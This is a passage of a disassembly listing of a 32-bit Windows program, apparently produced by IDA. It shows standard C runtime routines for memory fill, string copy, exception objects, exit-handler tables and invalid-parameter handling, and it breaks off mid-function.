		mov	dword ptr [eax], 16h
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40C617
; ---------------------------------------------------------------------------

loc_40C5C4:				; CODE XREF: sub_40C58B+1Aj
		cmp	dword_434D5C, 3
		jnz	short loc_40C605
		push	4
		call	sub_40F9F7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_40FB25
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	short loc_40C5F1
		mov	esi, [ebx-4]
		sub	esi, 9
		mov	[ebp+var_1C], esi
		jmp	short loc_40C5F4
; ---------------------------------------------------------------------------

loc_40C5F1:				; CODE XREF: sub_40C58B+59j
		mov	esi, [ebp+var_1C]

loc_40C5F4:				; CODE XREF: sub_40C58B+64j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40C625
		cmp	[ebp+var_20], edi
		jnz	short loc_40C615

loc_40C605:				; CODE XREF: sub_40C58B+40j
		push	ebx
		push	edi
		push	dword_425FE8
		call	ds:dword_41E198	; RtlSizeHeap
		mov	esi, eax

loc_40C615:				; CODE XREF: sub_40C58B+78j
		mov	eax, esi

loc_40C617:				; CODE XREF: sub_40C58B+37j
		call	__SEH_epilog4
		retn
sub_40C58B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C61D	proc near		; DATA XREF: r69pu5ti:004218F8o
		xor	edi, edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_40C61D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C625	proc near		; CODE XREF: sub_40C58B+70p
		push	4
		call	sub_40F91F
		pop	ecx
		retn
sub_40C625	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C62E	proc near		; CODE XREF: sub_401000+1Dp
					; sub_401C17+83p
		jmp	ds:dword_41E19C
sub_40C62E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C634	proc near		; CODE XREF: sub_40158F+EEp
					; sub_401ACE+54p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_40C65F
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40C6DE
; ---------------------------------------------------------------------------

loc_40C65F:				; CODE XREF: sub_40C634+Cj
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		jz	short loc_40C68B
		cmp	esi, ebx
		jnz	short loc_40C68B
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40C6DD
; ---------------------------------------------------------------------------

loc_40C68B:				; CODE XREF: sub_40C634+34j
					; sub_40C634+38j
		mov	eax, 7FFFFFFFh
		cmp	ecx, eax
		mov	[ebp+var_1C], eax
		ja	short loc_40C69A
		mov	[ebp+var_1C], ecx

loc_40C69A:				; CODE XREF: sub_40C634+61j
		push	edi
		lea	eax, [ebp+arg_C]
		push	eax
		push	ebx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_4109D7
		add	esp, 10h
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_40C6DC
		dec	[ebp+var_1C]
		js	short loc_40C6CE
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		jmp	short loc_40C6DA
; ---------------------------------------------------------------------------

loc_40C6CE:				; CODE XREF: sub_40C634+91j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_4107D6
		pop	ecx
		pop	ecx

loc_40C6DA:				; CODE XREF: sub_40C634+98j
		mov	eax, edi

loc_40C6DC:				; CODE XREF: sub_40C634+8Cj
		pop	edi

loc_40C6DD:				; CODE XREF: sub_40C634+55j
		pop	esi

loc_40C6DE:				; CODE XREF: sub_40C634+29j
		pop	ebx
		leave
		retn
sub_40C634	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C6F0	proc near		; CODE XREF: sub_401000+255p
					; sub_401000+2A6p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_40C765
		xor	eax, eax
		mov	al, [esp+arg_4]
		test	al, al
		jnz	short loc_40C71C
		cmp	edx, 100h
		jb	short loc_40C71C
		cmp	dword_434D40, 0
		jz	short loc_40C71C
		jmp	sub_4113C6
; ---------------------------------------------------------------------------

loc_40C71C:				; CODE XREF: sub_40C6F0+14j
					; sub_40C6F0+1Cj ...
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_40C755
		neg	ecx
		and	ecx, 3
		jz	short loc_40C737
		sub	edx, ecx

loc_40C72D:				; CODE XREF: sub_40C6F0+45j
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_40C72D

loc_40C737:				; CODE XREF: sub_40C6F0+39j
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_40C755
		rep stosd
		test	edx, edx
		jz	short loc_40C75F

loc_40C755:				; CODE XREF: sub_40C6F0+32j
					; sub_40C6F0+5Dj ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_40C755

loc_40C75F:				; CODE XREF: sub_40C6F0+63j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40C765:				; CODE XREF: sub_40C6F0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_40C6F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C76A	proc near		; CODE XREF: sub_401000+396p
					; sub_4018DF+1Cp ...
		jmp	sub_40CB3C
sub_40C76A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C76F	proc near		; CODE XREF: sub_401D5F+Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_40C7C4
		cmp	[ebp+arg_0], edi
		jnz	short loc_40C79D

loc_40C782:				; CODE XREF: sub_40C76F+31j
		call	sub_40F7D4
		push	16h
		pop	esi
		mov	[eax], esi

loc_40C78C:				; CODE XREF: sub_40C76F+44j
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40CB08
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40C7C6
; ---------------------------------------------------------------------------

loc_40C79D:				; CODE XREF: sub_40C76F+11j
		cmp	[ebp+arg_8], edi
		jz	short loc_40C782
		cmp	[ebp+arg_4], eax
		jnb	short loc_40C7B5
		call	sub_40F7D4
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_40C78C
; ---------------------------------------------------------------------------

loc_40C7B5:				; CODE XREF: sub_40C76F+36j
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_411470
		add	esp, 0Ch

loc_40C7C4:				; CODE XREF: sub_40C76F+Cj
		xor	eax, eax

loc_40C7C6:				; CODE XREF: sub_40C76F+2Cj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40C76F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C7CA	proc near		; CODE XREF: sub_401DA8+11p
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax+8], 0
		mov	dword ptr [eax], offset	off_41E35C
		retn
sub_40C7CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C7DB	proc near		; CODE XREF: sub_402389+2Fp
					; sub_415769+15Dp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi], offset	off_41E35C
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40C816
		push	eax
		call	sub_40C500
		mov	esi, eax
		inc	esi
		push	esi
		call	sub_40D437
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[edi+4], eax
		jz	short loc_40C81A
		push	dword ptr [ebx]
		push	esi
		push	eax
		call	sub_4117D5
		add	esp, 0Ch
		jmp	short loc_40C81A
; ---------------------------------------------------------------------------

loc_40C816:				; CODE XREF: sub_40C7DB+13j
		and	dword ptr [edi+4], 0

loc_40C81A:				; CODE XREF: sub_40C7DB+2Bj
					; sub_40C7DB+39j
		mov	dword ptr [edi+8], 1
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_40C7DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C829	proc near		; CODE XREF: sub_40CC01+Ap

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dword ptr [eax], offset	off_41E35C
		mov	ecx, [ecx]
		and	dword ptr [eax+8], 0
		mov	[eax+4], ecx
		retn	8
sub_40C829	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C841	proc near		; CODE XREF: sub_402188+15p
					; sub_402389+51p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41E35C
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		test	eax, eax
		mov	eax, [ebx+4]
		push	edi
		jz	short loc_40C88E
		test	eax, eax
		jz	short loc_40C888
		push	eax
		call	sub_40C500
		mov	edi, eax
		inc	edi
		push	edi
		call	sub_40D437
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+4], eax
		jz	short loc_40C891
		push	dword ptr [ebx+4]
		push	edi
		push	eax
		call	sub_4117D5
		add	esp, 0Ch
		jmp	short loc_40C891
; ---------------------------------------------------------------------------

loc_40C888:				; CODE XREF: sub_40C841+1Ej
		and	dword ptr [esi+4], 0
		jmp	short loc_40C891
; ---------------------------------------------------------------------------

loc_40C88E:				; CODE XREF: sub_40C841+1Aj
		mov	[esi+4], eax

loc_40C891:				; CODE XREF: sub_40C841+36j
					; sub_40C841+45j ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_40C841	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C899	proc near		; CODE XREF: sub_401D7B+6j
					; .text:00401D8Fp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41E35C
		jz	short locret_40C8AE
		push	dword ptr [ecx+4]
		call	sub_40D35A
		pop	ecx

locret_40C8AE:				; CODE XREF: sub_40C899+Aj
		retn
sub_40C899	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8AF	proc near		; DATA XREF: r69pu5ti:off_41E304o
					; r69pu5ti:off_41E35Co	...
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_40C8BB
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_40C8BB:				; CODE XREF: sub_40C8AF+5j
		retn
sub_40C8AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8BC	proc near		; DATA XREF: r69pu5ti:off_41E35Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40C899
		test	[esp+4+arg_0], 1
		jz	short loc_40C8D2
		push	esi
		call	sub_40CB3C
		pop	ecx

loc_40C8D2:				; CODE XREF: sub_40C8BC+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40C8BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8D8	proc near		; CODE XREF: sub_40C9B4+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	dword_434D30
		call	sub_40F194
		push	dword_434D2C
		mov	esi, eax
		mov	[esp+1Ch+var_4], esi
		call	sub_40F194
		mov	edi, eax
		cmp	edi, esi
		pop	ecx
		pop	ecx
		jb	short loc_40C97D
		mov	ebx, edi
		sub	ebx, esi
		lea	ebp, [ebx+4]
		cmp	ebp, 4
		jb	short loc_40C97D
		push	esi
		call	sub_40C58B
		mov	esi, eax
		cmp	esi, ebp
		pop	ecx
		jnb	short loc_40C964
		mov	eax, 800h
		cmp	esi, eax
		jnb	short loc_40C925
		mov	eax, esi

loc_40C925:				; CODE XREF: sub_40C8D8+49j
		add	eax, esi
		cmp	eax, esi
		jb	short loc_40C93B
		push	eax
		push	[esp+18h+var_4]
		call	sub_4118C2
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40C952

loc_40C93B:				; CODE XREF: sub_40C8D8+51j
		lea	eax, [esi+10h]
		cmp	eax, esi
		jb	short loc_40C97D
		push	eax
		push	[esp+18h+var_4]
		call	sub_4118C2
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40C97D

loc_40C952:				; CODE XREF: sub_40C8D8+61j
		sar	ebx, 2
		push	eax
		lea	edi, [eax+ebx*4]
		call	sub_40F128
		pop	ecx
		mov	dword_434D30, eax

loc_40C964:				; CODE XREF: sub_40C8D8+40j
		mov	esi, [esp+14h+arg_0]
		mov	[edi], esi
		add	edi, 4
		push	edi
		call	sub_40F128
		mov	dword_434D2C, eax
		pop	ecx
		mov	eax, esi
		jmp	short loc_40C97F
; ---------------------------------------------------------------------------

loc_40C97D:				; CODE XREF: sub_40C8D8+27j
					; sub_40C8D8+33j ...
		xor	eax, eax

loc_40C97F:				; CODE XREF: sub_40C8D8+A3j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_40C8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C985	proc near		; DATA XREF: r69pu5ti:0041E2C0o
		push	esi
		push	4
		push	20h
		call	sub_41187A
		mov	esi, eax
		push	esi
		call	sub_40F128
		add	esp, 0Ch
		test	esi, esi
		mov	dword_434D30, eax
		mov	dword_434D2C, eax
		jnz	short loc_40C9AD
		push	18h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40C9AD:				; CODE XREF: sub_40C985+21j
		and	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
sub_40C985	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9B4	proc near		; CODE XREF: sub_40C9F0+4p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421900
		call	__SEH_prolog4
		call	sub_4119BC
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_0]
		call	sub_40C8D8
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40C9EA
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_40C9B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C9EA	proc near		; CODE XREF: sub_40C9B4+28p
					; DATA XREF: r69pu5ti:00421918o
		call	sub_4119C5
		retn
sub_40C9EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C9F0	proc near		; CODE XREF: .text:0040CC5Fp
					; sub_411A79+44p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40C9B4
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		retn
sub_40C9F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA02	proc near		; CODE XREF: sub_411C19+15p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_425B00, eax
		retn
sub_40CA02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2A8h


sub_40CA0C	proc near		; CODE XREF: sub_40CB08+1Fj
					; sub_40FA28+21p ...

var_328		= dword	ptr -328h
var_31C		= dword	ptr -31Ch
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_244		= word ptr -244h
var_240		= word ptr -240h
var_23C		= word ptr -23Ch
var_238		= word ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= word ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-2A8h]
		sub	esp, 328h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+2A8h+var_4], eax
		push	esi
		mov	[ebp+2A8h+var_220], eax
		mov	[ebp+2A8h+var_224], ecx
		mov	[ebp+2A8h+var_228], edx
		mov	[ebp+2A8h+var_22C], ebx
		mov	[ebp+2A8h+var_230], esi
		mov	[ebp+2A8h+var_234], edi
		mov	[ebp+2A8h+var_208], ss
		mov	[ebp+2A8h+var_214], cs
		mov	[ebp+2A8h+var_238], ds
		mov	[ebp+2A8h+var_23C], es
		mov	[ebp+2A8h+var_240], fs
		mov	[ebp+2A8h+var_244], gs
		pushf
		pop	[ebp+2A8h+var_210]
		mov	esi, [ebp+2ACh]
		lea	eax, [ebp+2ACh]
		mov	[ebp+2A8h+var_20C], eax
		mov	[ebp+2A8h+var_2D0], 10001h
		mov	[ebp+2A8h+var_218], esi
		mov	eax, [eax-4]
		push	50h
		mov	[ebp+2A8h+var_21C], eax
		lea	eax, [ebp+2A8h+var_328]
		push	0
		push	eax
		call	sub_40C6F0
		lea	eax, [ebp+2A8h+var_328]
		mov	[ebp+2A8h+var_2D8], eax
		lea	eax, [ebp+2A8h+var_2D0]
		add	esp, 0Ch
		mov	[ebp+2A8h+var_328], 0C000000Dh
		mov	[ebp+2A8h+var_31C], esi
		mov	[ebp+2A8h+var_2D4], eax
		call	ds:off_41E194
		push	0
		mov	esi, eax
		call	ds:dword_41E1A8	; SetUnhandledExceptionFilter
		lea	eax, [ebp+2A8h+var_2D8]
		push	eax
		call	ds:off_41E1A4
		test	eax, eax
		jnz	short loc_40CAE0
		test	esi, esi
		jnz	short loc_40CAE0
		push	2
		call	sub_411C65
		pop	ecx

loc_40CAE0:				; CODE XREF: sub_40CA0C+C6j
					; sub_40CA0C+CAj
		push	0C000000Dh
		call	ds:off_41E1A0
		push	eax
		call	ds:off_41E0DC
		mov	ecx, [ebp+2A8h+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_40AB4A
		add	ebp, 2A8h
		leave
		retn
sub_40CA0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB08	proc near		; CODE XREF: sub_40AC10+29p
					; sub_40AC10+5Fp ...
		push	ebp
		mov	ebp, esp
		push	dword_425B00
		call	sub_40F194
		test	eax, eax
		pop	ecx
		jz	short loc_40CB1E
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------

loc_40CB1E:				; CODE XREF: sub_40CB08+11j
		push	2
		call	sub_411C65
		pop	ecx
		pop	ebp
		jmp	sub_40CA0C
sub_40CB08	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB2C	proc near		; CODE XREF: sub_402E02+5p
					; sub_402E02+14p ...
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40CB08
		add	esp, 14h
		retn
sub_40CB2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB3C	proc near		; CODE XREF: .text:00401D9Cp
					; .text:00401E18p ...
		jmp	sub_40D35A
sub_40CB3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB41	proc near		; CODE XREF: sub_401D43+Fp
					; sub_40DBB4+84p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jnz	short loc_40CB53

loc_40CB4F:				; CODE XREF: sub_40CB41+4Bj
		xor	eax, eax
		jmp	short loc_40CBB8
; ---------------------------------------------------------------------------

loc_40CB53:				; CODE XREF: sub_40CB41+Cj
		cmp	[ebp+arg_0], edi
		jnz	short loc_40CB73

loc_40CB58:				; CODE XREF: sub_40CB41+5Fj
		call	sub_40F7D4
		push	16h
		pop	esi
		mov	[eax], esi

loc_40CB62:				; CODE XREF: sub_40CB41+72j
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40CB08
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40CBB8
; ---------------------------------------------------------------------------

loc_40CB73:				; CODE XREF: sub_40CB41+15j
		cmp	[ebp+arg_8], edi
		jz	short loc_40CB8E
		cmp	[ebp+arg_4], esi
		jb	short loc_40CB8E
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_40D820
		add	esp, 0Ch
		jmp	short loc_40CB4F
; ---------------------------------------------------------------------------

loc_40CB8E:				; CODE XREF: sub_40CB41+35j
					; sub_40CB41+3Aj
		push	[ebp+arg_4]
		push	edi
		push	[ebp+arg_0]
		call	sub_40C6F0
		add	esp, 0Ch
		cmp	[ebp+arg_8], edi
		jz	short loc_40CB58
		cmp	[ebp+arg_4], esi
		jnb	short loc_40CBB5
		call	sub_40F7D4
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_40CB62
; ---------------------------------------------------------------------------

loc_40CBB5:				; CODE XREF: sub_40CB41+64j
		push	16h
		pop	eax

loc_40CBB8:				; CODE XREF: sub_40CB41+10j
					; sub_40CB41+30j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40CB41	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBBC	proc near		; CODE XREF: .text:0040CBCDp
		push	ecx
		mov	dword ptr [ecx], offset	nullsub_292
		call	sub_411C6D
		pop	ecx
		retn
sub_40CBBC	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, ecx
		call	sub_40CBBC
		test	byte ptr [esp+8], 1
		jz	short loc_40CBE0
		push	esi
		call	sub_40CB3C
		pop	ecx

loc_40CBE0:				; CODE XREF: .text:0040CBD7j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40CBE6	proc near		; CODE XREF: sub_415769+12Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	ecx, 9
		push	ecx
		add	eax, 9
		push	eax
		call	sub_40CDC0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		retn	4
sub_40CBE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC01	proc near		; CODE XREF: .text:0040CC55p
		push	esi
		push	1
		push	offset off_423050
		mov	esi, ecx
		call	sub_40C829
		mov	dword ptr [esi], offset	off_41E304
		mov	eax, esi
		pop	esi
		retn
sub_40CC01	endp

; ---------------------------------------------------------------------------

loc_40CC1A:				; CODE XREF: sub_402033+5p
					; sub_402137+5p ...
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		jmp	short loc_40CC2F
; ---------------------------------------------------------------------------

loc_40CC22:				; CODE XREF: .text:0040CC3Aj
		push	dword ptr [ebp+8]
		call	sub_411CE7
		test	eax, eax
		pop	ecx
		jz	short loc_40CC3E

loc_40CC2F:				; CODE XREF: .text:0040CC20j
		push	dword ptr [ebp+8]
		call	sub_40D437
		test	eax, eax
		pop	ecx
		jz	short loc_40CC22
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CC3E:				; CODE XREF: .text:0040CC2Dj
		test	byte ptr dword_425B10, 1
		mov	esi, offset dword_425B04
		jnz	short loc_40CC65
		or	dword_425B10, 1
		mov	ecx, esi
		call	sub_40CC01
		push	offset loc_41D892
		call	sub_40C9F0
		pop	ecx

loc_40CC65:				; CODE XREF: .text:0040CC4Aj
		push	esi
		lea	ecx, [ebp-0Ch]
		call	sub_40C841
		push	offset dword_421F98
		lea	eax, [ebp-0Ch]
		push	eax
		mov	dword ptr [ebp-0Ch], offset off_41E304
		call	sub_40E1BC
; ---------------------------------------------------------------------------
		db 0Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC90	proc near		; CODE XREF: sub_4023EB+19Cp
					; sub_4037AC+48p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_40CD2F
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_40CCBC
		shr	ecx, 2
		jnz	loc_40CD3F
		jmp	short loc_40CCE3
; ---------------------------------------------------------------------------

loc_40CCBC:				; CODE XREF: sub_40CC90+1Fj
					; sub_40CC90+45j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	short loc_40CCF6
		test	al, al
		jz	short loc_40CCFE
		test	esi, 3
		jnz	short loc_40CCBC
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40CD3F

loc_40CCDE:				; CODE XREF: sub_40CC90+ADj
		and	ebx, 3
		jz	short loc_40CCF6

loc_40CCE3:				; CODE XREF: sub_40CC90+2Aj
					; sub_40CC90+64j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		test	al, al
		jz	short loc_40CD28
		sub	ebx, 1
		jnz	short loc_40CCE3

loc_40CCF6:				; CODE XREF: sub_40CC90+39j
					; sub_40CC90+51j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40CCFE:				; CODE XREF: sub_40CC90+3Dj
		test	edi, 3
		jz	short loc_40CD1C

loc_40CD06:				; CODE XREF: sub_40CC90+8Aj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	loc_40CDAC
		test	edi, 3
		jnz	short loc_40CD06

loc_40CD1C:				; CODE XREF: sub_40CC90+74j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40CD97

loc_40CD23:				; CODE XREF: sub_40CC90+9Bj
					; sub_40CC90+116j
		mov	[edi], al
		add	edi, 1

loc_40CD28:				; CODE XREF: sub_40CC90+5Fj
		sub	ebx, 1
		jnz	short loc_40CD23
		pop	ebx
		pop	esi

loc_40CD2F:				; CODE XREF: sub_40CC90+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40CD35:				; CODE XREF: sub_40CC90+C7j
					; sub_40CC90+DFj
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_40CCDE

loc_40CD3F:				; CODE XREF: sub_40CC90+24j
					; sub_40CC90+4Cj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_40CD35
		test	dl, dl
		jz	short loc_40CD89
		test	dh, dh
		jz	short loc_40CD7F
		test	edx, 0FF0000h
		jz	short loc_40CD75
		test	edx, 0FF000000h
		jnz	short loc_40CD35
		mov	[edi], edx
		jmp	short loc_40CD8D
; ---------------------------------------------------------------------------

loc_40CD75:				; CODE XREF: sub_40CC90+D7j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_40CD8D
; ---------------------------------------------------------------------------

loc_40CD7F:				; CODE XREF: sub_40CC90+CFj
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_40CD8D
; ---------------------------------------------------------------------------

loc_40CD89:				; CODE XREF: sub_40CC90+CBj
		xor	edx, edx
		mov	[edi], edx

loc_40CD8D:				; CODE XREF: sub_40CC90+E3j
					; sub_40CC90+EDj ...
		add	edi, 4
		xor	eax, eax
		sub	ecx, 1
		jz	short loc_40CDA3

loc_40CD97:				; CODE XREF: sub_40CC90+91j
		xor	eax, eax

loc_40CD99:				; CODE XREF: sub_40CC90+111j
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 1
		jnz	short loc_40CD99

loc_40CDA3:				; CODE XREF: sub_40CC90+105j
		and	ebx, 3
		jnz	loc_40CD23

loc_40CDAC:				; CODE XREF: sub_40CC90+7Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40CC90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CDC0	proc near		; CODE XREF: sub_4023EB+1E8p
					; sub_4023EB+202p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_40CE0C

loc_40CDD0:				; CODE XREF: sub_40CDC0+3Cj
					; sub_40CDC0+6Aj ...
